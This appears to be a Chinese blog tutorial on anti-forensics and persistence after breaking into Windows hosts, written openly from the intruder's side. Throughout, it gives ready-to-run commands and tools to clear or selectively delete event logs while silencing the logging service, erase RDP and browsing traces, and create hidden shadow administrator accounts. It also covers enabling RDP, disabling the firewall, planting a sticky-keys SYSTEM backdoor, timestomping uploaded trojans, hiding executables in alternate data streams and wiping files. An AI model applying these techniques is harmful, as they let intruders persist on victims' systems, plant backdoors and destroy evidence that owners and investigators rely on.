Windows痕迹清除技术

系统入侵后要对操作痕迹进行清除,如果上传工具和木马文件要做隐藏和伪装,以免引起警觉甚至丢失目标,“清道夫”的工作虽有些烦杂,但这些工作直接影响到目标控守的持久性。

The quieter you become, the more you are able to hear.

一、痕迹清除

(一) 日志文件

1.主机日志

类型 默认路径
系统日志 C:\Windows\System32\Winevt\Logs\System.evtx
安全日志 C:\Windows\System32\Winevt\Logs\Security.evtx
应用日志 C:\Windows\System32\Winevt\Logs\Application.evtx

(1) 全部清除

不留下任何痕迹,但是特征也很明显,容易被察觉,一般不推荐使用。

方法一:事件查看器删除

通过eventvwr打开事件查看器,在右边的操作一栏中,选择Clear Log...

方法二:powershell命令删除

  • cmd环境:
1
2
3
4
PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}"

PowerShell -Command "& {Get-WinEvent -ListLog Application,System,Security -Force | % {Wevtutil.exe cl $_.Logname}}"
123
  • powershell环境:
1
2
3
4
Clear-Eventlog -Log Application,System,Security

Get-WinEvent -ListLog Application,System,Security -Force | % {Wevtutil.exe cl $_.Logname}
123

(2) 定向清除

① 停止日志服务

方法一:工具实现

为避免清除的动作被日志记录,首先要停止日志记录,借助第三方工具实现,原理是定位并杀掉日志服务相关的线程,而其对应的svchost.exe进程并没有被杀掉,所以日志记录服务看起来是正常运行的。

项目地址:https://github.com/hlldz/Phant0m

工具老版本是用powershell写的,执行命令powershell -File Invoke-Phant0m,如果提示脚本文件无法执行,则可能是由于执行策略限制,通过命令修改执行策略即可(管理员权限):

1
2
3
4
5
6
7
8
9
# 查看当前ps脚本的执行策略
Get-ExecutionPolicy

# 设置ps脚本禁止执行(默认)
Set-ExecutionPolicy Restricted

# 设置ps脚本可执行
Set-ExecutionPolicy RemoteSigned
12345678

新版本需要自己编译生成可执行文件,原理在于定位并杀死日志服务运行线程,工具提供了两种定位日志服务线程的方法,在编译时要注意选择下。注意待日志清除后要恢复日志服务,命令是net start evevtlog

方法二:手动实现

首先利用powershell命令找出日志记录服务(eventlog)对应的进程PID,Get-WmiObjectGet-CimInstance命令都可以:

1
2
3
4
Get-WmiObject -Class win32_service -Filter "name = 'eventlog'"

Get-CimInstance -ClassName win32_service -Filter "name = 'eventlog'"
123

在这里插入图片描述

运行结果中可以看出eventlog服务对应的PID为840,然后利用Sysinternal套件中的工具procexp.exe(Process Explorer)找出PID=840的进程:

在这里插入图片描述
选择该scvhost.exe,点选右键->属性->线程,找出服务为eventlog的线程TID,如下图所示为876、884、1424、1428、1432,依次选择Kill这些线程,注意Suspend是不行的:

在这里插入图片描述
这样日志服务实际上就关闭了,但由于只是杀掉了其进程下运行的线程,而进程仍然存在,所以服务看起来是没有异样的,这和方法一中用工具实现的原理是相同的。

需要恢复日志记录服务时,在进程列表界面选择该scvhost.exe,点选右键->重新启动,然后运行命令net start eventlog就可以了。

② 删除日志

一般在做敏感操作时,先关闭入侵系统的日志服务,然后就可以做羞羞的事了,但如果是为了清除单条日志,则需要借助第三方工具实现。以下这个工具可以实现停止日志服务、根据EventRecordID删除单条日志记录等功能。

项目地址:https://github.com/QAX-A-Team/EventCleaner

使用方法:

1
2
3
4
5
6
7
8
EventCleaner suspend      # 暂停日志进程,停止日志记录

EventCleaner normal # 恢复日志进程

EventCleaner closehandle # 解除security.evtx的文件占坑

EventCleaner 100 # 删除EventRecordID=100的日志
1234567

2.应用日志

删改WIndows安装的应用程序的日志相对简单些,因为定位其路径后就可以手动进行删改,思路都是相同的,都是先找到应用程序的日志路径,停止其相应服务,然后对日志内容进行删改

这里以最常见的WEB应用为例,日志类型及其默认路径和服务如下:(注意不同版本的应用日志默认存放路径可能不同)

日志类型 默认路径 相应服务
IIS C:\inetpub\logs\LogFiles\W3SVC1\ World Wide Publishing Service
Apache C:\Apache 2.4\logs Apache2.4
Tomcat C:\Tomcat 8.5\logs Apache Tomcat 8.5 Tomcat8

停止服务的命令一般用net stop即可,如net stop "World Wide Publishing Service",删除命令用Shift + Delete或cmd命令del

(二) 搜索&连接

获取shell后一般要谨慎行事,但是不排除特殊情况下要远程桌面连接上去做一些敏感操作,一旦留下痕迹切记要做好清理。

1.远程桌面记录

(1) 删除缓存

缓存文件默认为C:\Users\Administrator\Documents\Default.rdp,已隐藏,可到用户的Document目录下,文件夹选项选择隐藏文件可见,然后删除,也可以用cmd命令删除,注意这样删除的是全部的连接记录:

1
2
3
4
cd C:\Users\Administrator\Documents\
attrib Default.rdp -s -h
del Default.rdp
123

(2) 删除注册表

对应注册表项为HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default\HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\,可以用regedit打开注册表编辑器,找到这两个键,在右边定向删除对应的值,也可以用cmd命令将其全部清除:

1
2
3
reg delete "HKCU\Software\Microsoft\Terminal Server Client\Default" /f
reg delete "HKCU\Software\Microsoft\Terminal Server Client\Servers" /f
12

注意:reg delete默认是将该注册表项和其所有值以及子项全部都删除,如果只将该注册表项下的所有值都删除,不删除该注册表项和其子项,要用reg delete /va

2.文件搜索记录

对应注册表项为HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\WordWheelQuery,打开注册表编辑器,找到该键并删除对应的值。

在这里插入图片描述

3.文件浏览记录

在这里插入图片描述
对应注册表项为HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths,打开注册表编辑器,找到该键并删除对应的值。

4.最近访问位置

win7在我的电脑或资源管理器中,在最近访问位置右键->删除最近项目列表;win10在我的电脑或资源管理器中,选择查看->选项->常规中,将隐私一栏的“快速访问”两个选项去掉,并选择清除历史记录,界面如下:
在这里插入图片描述

5.运行命令记录

对应注册表项为HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU,打开注册表编辑器,找到该键并删除对应的值。

在这里插入图片描述

(三) 浏览器记录

如果必须用浏览器访问,尽量使用有隐私模式的浏览器,开启隐私模式可以避免在本地计算机留下历史记录、缓存文件和Cookies。

注意不同浏览器版本日志存放路径可能不同,以下例举的日志默认存放路径并不绝对。

1.IE

(1) 存放位置

工具->Internet 选项->常规->浏览历史记录->设置中的当前位置记录了缓存文件存放路径

日志类型 默认路径
浏览记录 C:\Users\Administrator\AppData\Local\Microsoft\Windows\History\
缓存文件 C:\Users\Administrator\AppData\Local\Microsoft\Windows\Temporary Internet Files\
Cookies C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Cookies\

(2) 删除方法

  • 方法一:在浏览器搜索下拉栏中,直接选择删除相应的历史记录
  • 方法二:在工具->Internet 选项->常规->浏览历史记录中,选择删除所有浏览历史记录、缓存文件、Cookies

2.Chrome

(1) 存放位置

在浏览器搜索栏中输入chrome://version/,可以看到个人资料路径

日志类型 默认路径
浏览记录 C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\history
缓存文件 C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Cache\
Cookies C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Cookies

(2) 删除方法

  • 方法一:在浏览器搜索栏中输入chrome://history/,选择删除单条浏览记录
  • 方法二:在设置->隐私设置和安全性中,或在搜索栏输入chrome://history/后选择清除浏览数据,选择删除特定时间范围的浏览历史记录、缓存文件、Cookies

3.Firefox

(1) 存放位置

在浏览器搜索栏中输入about:cache,可以看到缓存文件的磁盘存储路径

日志类型 默认路径
浏览记录 C:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\70rs4c5d.default-release\places.sqlite
缓存文件 C:\Users\Administrator\AppData\Local\Mozilla\Firefox\Profiles\70rs4c5d.default-release\cache2\
Cookies C:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\afn7ww6q.default-release\cookies.sqlite

(2) 删除方法

  • 方法一:在Library->History->Recent History栏中右键删除特定的浏览记录
  • 方法二:在Library->History->Clear Recent History,或在Options->Privacy & Security中选择Clear History,删除指定时间范围的历史记录

(四) 隐藏用户

低级新建隐藏用户的方式是在新建用户名结尾加上$,这样虽然net user命令查看不到,但是以下三种方式都可以看到新建的用户:

  • powershell命令:powershell -c Get-LocalUser
  • 在计算机管理中 (cmd命令: compmgmt) 选择 “本地用户和组—>用户”,或者通过cmd命令 lusrmgr 直接打开
  • 控制面板 (cmd命令: control) 中选择“用户帐户—>用户帐户—>管理其他帐户”

而且在计算机登录界面也会显示新建的用户名,这样新建用户很容易被发现。

推荐使用新建 影子用户 的方式隐藏用户,这样只能通过注册表查看,其它方式无法查看隐藏用户信息。

方法:

(将新建用户admin$作为Administrator的影子用户,Administrator已激活)

1.新建用户

1
2
net user admin$ asdfasdf /add
net localgroup administrators admin$ /add

2.导出注册表

打开注册表,右键HKEY_LOCAL_MACHINE\SAM\SAM,当前用户 (组) 权限选择完全控制,然后重新打开注册表,再次选择HKEY_LOCAL_MACHINE\SAM\SAM就可以看见HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users中的内容,如下所示:

请添加图片描述
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names显示了系统当前存在的所有账户,选中admin$,在其右侧可见对应键值为”0x3ee”,此键值为用户SID的结尾,即RID。同理找到Administrator右侧对应键值为”0x1f4”,相应地将 00003EE00001F4admin$ 三个注册表项右键导出为reg格式文件:3ee.reg、1f4.reg、admin.reg

3.F键值替换

编辑 3ee.reg 和 1f4.reg,将 3ee.reg 中的F键值替换成 1f4.reg 中的F键值,F键值中存放了用户的登录信息,替换后也就是将Administrator用户的登录信息复制给了admin$,这样在操作系统内部就把admin$当做是Administrator,admin$也就成了Administrator的影子账户。
请添加图片描述
4.导入注册表

删除用户,然后将刚刚导出的 3ee.reg 和 admin.reg 重新导入:

1
2
3
4
net user admin$ /del

regedit /s 3ee.reg
regedit /s admin.reg

影子账户建立完成,两者使用同一个用户配置文件,RDP登录admin$用户,桌面环境、浏览器配置等数据和Administrator同步一致,需谨慎操作。

不同环境下影子用户登录时现象不同,假设A为原用户,A$为A的影子用户,如果当前主机没有用户登录,则A$登录后quser显示就是A$在线;如果A已经登录 (Active或Disc),A$登录时情况要复杂些,分析如下:

  • 主机只允许每个用户1个session在线情况下 (缺省值):无论单用户还是多用户环境,A$登录时A直接掉线至锁屏,A不会有任何提示 (单用户环境下,当有用户在线,其他用户在远程登录时登录界面会提示:“如果继续,当前在线用户会断开”,选择继续后,当前在线的用户会出现提示:“其他用户正在连接,是否允许并断开当前的连接”,只有当选择允许或者超过30s才会建立连接),quser显示只有A在线,这与A登录新创建1个session的现象是相同的。
  • 主机允许每个用户多个session在线情况下:单用户环境下,无论A是否在线,A$登录都会接管A的桌面,quser显示仅有A在线;多用户环境下,当A用户在线 (Active),A$登录时不会将A挤掉,此时会重新初始化一个桌面环境,但是A和A$实际上用的是同一个桌面环境,一些软件如浏览器A打开后A$无法再次打开,quser显示A和A$同时在线,当A用户离线 (Disc),影子用户在登录时会接管A的桌面,quser显示只有A在线。

方法二

此时影子用户已经完成。可以通过打开3389端口来远程连接,用影子用户的账号密码进行登陆。

查看端口开放情况:

cmd→netstat -ano

开放3389端口的方法1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
echo Windows Registry Editor Version 5.00>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg

echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg

echo "PortNumber"=dword:00000d3d>>3389.reg

echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg

echo "PortNumber"=dword:00000d3d>>3389.reg

regedit /s 3389.reg

del 3389.reg

将以上内容拷贝到文本文档内,将后缀名改为.bat格式,双击运行,即可开启3389端口。

开启端口方法2:

在cmd内,执行如下命令,即可开启3389端口。

1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

在cmd内,执行如下命令,即可关闭3389端口。

1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f

开放完3389端口后,需要先明确被连接的主机的ip地址。可以通过cmd→ipconfig查看ipv4的内网地址,后连接即可。

连接后发现,可以通过原先创建的影子用户来访问该计算机,且获得了最高权限。账户 haha$ 密码123(看个人的设置)

3389连接windows的实践:

1.在目标系统开放3389端口

img

img

img

2.查看ip地址

img

3.进行远程桌面连接 即可连接成功

img

PS:针对最新的windows操作系统 需要注意 win10的安全策略很多,需要多重开放连接才行。 受限制于系统版本 有时候系统本身也不支持远程连接

通常支持的系统 只需要开放3389端口以及相关服务 同时支持远程连接 即可成功连接!

img

连接条件:

1.计算机本身支持远程桌面 同时这个要允许远程桌面

2.win+R -> services.msc -> 桌面服务 remote desktop services 把相关的RPG服务打开 (cmd下的注册表命令同理)

3.知道目标的ip地址

新建用户 提权到管理员 关闭防火墙

1
2
3
4
5
6
7
net user zj 123 /add

net localgroup administrators zj /add

net user zj 123 /del

netsh advfirewall set allprofiles state off

(大招)shift漏洞(后门) 直接在登录界面按五下shift键即可召唤出system权限的cmd

把代码放到bat文件中 传上去以后执行就行

1
2
3
4
5
6
7
takeown /f c:\windows\system32\sethc.* /a /r /d y

cacls c:\windows\system32\sethc.exe /T /E /G system:F

cacls c:\windows\system32\sethc.exe /T /E /G administrator:F

copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe /y

远程服务(3389)启动(3条命令打下去绝对成功)

win+r = mstsc

扫描的时候:13389

1
2
3
C:\Windows\System32\wbem\wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
net start TermService

如果是特殊端口 目标ip:13389 xxxx:13389

常用命令格式:

1
2
3
4
5
6
7
net user admin$ Wifi.123 /add
net user admin$ /del

net localgroup administrators admin$ /add
net localgroup administrators admin$ /del

net localgroup users admin$ /del

二、文件伪装

(一) 伪装&隐藏

1.修改时间

上传工具或木马文件后,为掩人耳目,要将其修改为和当前目录中文件相近的时间,可以利用powershell进行修改。

例如将刚上传的test.exe工具创建时间修改为2020年12月12日12:12:12,方法如下:

方法一:利用对象属性修改

查看文件的创建时间、修改时间、上次访问时间:

1
2
3
4
(ls "C:\temp\test.exe").CreationTIme
(ls "C:\temp\test.exe").LastWriteTime
(ls "C:\temp\test.exe").LastAccessTime
123

dir命令以及文件夹目录中显示的时间都是文件的修改时间LastWriteTime

修改文件的创建时间、修改时间、上次访问时间:

1
2
3
4
(ls "C:\temp\test.exe").CreationTIme = "2020年12月12日12:12:12"
(ls "C:\temp\test.exe").LastWriteTime = "2020年12月12日12:12:12"
(ls "C:\temp\test.exe").LastAccessTime = "2020年12月12日12:12:12"
123

在这里插入图片描述
方法二:利用cmdlet命令修改

查看文件属性信息,包括文件的创建时间、修改时间、上次访问时间:

1
2
Get-ItemProperty -Path "C:\temp\test.exe" | Format-list -Property *
1

修改文件的创建时间、修改时间、上次访问时间:

1
2
3
4
Set-ItemProperty -Path "C:\temp\test.exe" -Name CreationTIme -Value "2011-11-11 11:11:11"
Set-ItemProperty -Path "C:\temp\test.exe" -Name LastWriteTime -Value "2011-11-11 11:11:11"
Set-ItemProperty -Path "C:\temp\test.exe" -Name LastAccessTime -Value "2011-11-11 11:11:11"
123

在这里插入图片描述

2.文件隐藏

方法一:attrib命令

上传后利用attrib命令改变文件属性,命令格式:
attrib [+R | -R] [+A | -A ] [+S | -S] [+H | -H] [[drive:] [path] filename] [/S [/D]]

  • + 增加属性
  • - 减少属性
  • R 只读文件属性
  • A 存档文件属性
  • S 系统文件属性
  • H 隐藏文件属性
  • /S 处理当前文件夹及其子文件夹中的匹配文件
  • /D 也处理文件夹

例如在C:\temp目录上传工具test.exe,将其目录及其文件隐藏命令:attrib +r +a +s +h C:\temp\test.exe & attrib +r +a +s +h C:\temp,如果要将其删除,先要将其恢复然后再删除:attrib -r -a -s -h C:\temp & rmdir C:\temp /s /q

利用attrib隐藏后的文件,在文件浏览器中选择隐藏项目可见或是用普通的dir命令,都是不可见的,如果要查看可以用命令:dir /a

方法二:ADS隐写

首先要了解MAC文件系统 (HFS) 和Windows文件系统 (NTFS) 储存文件数据的方式:

  • MAC文件系统将文件数据存储在数据和资源两个部分,数据部分存储文件内容,资源部分用于告诉操作系统如何使用文件数据
  • Windows文件系统将文件数据全部存储在文件中,用文件扩展名 (.bat .exe .txt 等) 告诉操作系统如何使用文件数据

ADS (Alternate Data Streams) 是Windows文件系统NTFS的特性之一,目的是兼容MAC文件系统,原本用意是通过ADS兼容MAC文件系统中文件存储的资源部分,但可以利用此特性将文件隐藏在文件、目录甚至盘符的ADS中。

ADS隐藏文件可以起到很好效果,但如果想要利用ADS运行可执行文件,情况要复杂些,因为在Windows 7之后系统对ADS运行可执行文件作了限制,具体系统需要验证方法可行性。

目前在我的实验环境下将可执行文件隐藏到其他文件的ADS,测试了几种运行方法:只有runas命令在所有Windows版本是可行的,但是必须要交互输入用户密码,其他命令方式在不同版本系统表现不同,要先验证才行,实验中将工具test.exe上传至主机C:\temp目录,将其利用ADS隐藏,不同方法具体使用情况如下:

① 将其隐藏在用户桌面test.txt文件的ADS中,ADS命名为1.exe

1
2
3
4
5
6
7
# 隐藏ADS
type C:\temp\test.exe > C:\users\Jim\desktop\test.txt:1.exe

# 先切换到ADS所在目录,再运行
# Windows 10 Pro 10.0.19042、Windows Server 2016 Datacenter 10.0.14393 测试可行
powershell -c "cd C:\users\Jim\desktop; .\test.txt:1.exe"
123456

② 将其隐藏在C:\Windows目录的ADS中,ADS命名为2.exe

1
2
3
4
5
6
7
# 隐藏ADS
type C:\temp\test.exe > C:\Windows:2.exe

# 先切换到ADS所在目录,再运行
# Windows 10 Pro 10.0.19042、Windows Server 2016 Datacenter 10.0.14393 测试可行
powershell -c "cd C:\; .\Windows:2.exe"
123456

③ 将其隐藏在C:\盘符的ADS中,ADS命名为3.exe

1
2
3
4
5
type C:\temp\test.exe > C:3.exe

# 隐藏在盘符中的方式在所有Windows系统中都可以直接运行
C:3.exe
1234

利用ADS技术隐藏后的文件,在文件浏览器中选择隐藏项目可见或是用普通的dir命令,或是查看文件内容和大小,都是不可发现的,如果要查看可以用命令:dir /r,如果要将文件ADS删除,需要将文件转换为FAT、FAT32等其他文件系统格式,或是借助第三方工具如:SysinternalsSuite工具包中的 Streams ,使用方法如下:

1
2
3
4
5
# 查看文件/目录ADS
Streams.exe -s <DIR|FILE>

# 删除文件/目录ADS
Streams.exe -d <DIR|FILE>

(二) 文件擦除

对于敏感文件和工具,不能用常规的删除命令,因为常规删除的文件会进入回收站,易留下痕迹,而且在磁盘空间未覆盖情况下可以用数据恢复软件恢复,以下这些命令更加安全高效:

1.命令行Del/Erase删除

永久删除文件,不会经过回收站,但是没有覆盖,用数据恢复软件仍有恢复可能。

2.Shift+Delete永久删除

永久删除文件,不会经过回收站,但是没有覆盖,用数据恢复软件仍有恢复可能。

3.Cipher擦除覆写

cipher /W:directory:从整个卷上可用的磁盘空间中覆写数据,从而覆盖已删除文件的硬盘空间,这样之前删除的数据顶多能够恢复文件名,但是恢复数据几乎是不可能的

例如刚删除工具C:\temp\test.exe,然后执行cipher /W:C,这样C盘上的空余空间就会被覆写三轮,分别是0x00、0xFF、随机数,覆写需要一段时间,这取决于C盘空余空间的大小。

4.Format格式化覆写

format volume /P:count:将volume卷上每个扇区清零,此后该卷将被改写count次,且每次使用不同的随机数。

例如format D: /P:10表示把D盘用随机数格式化后再覆写10次。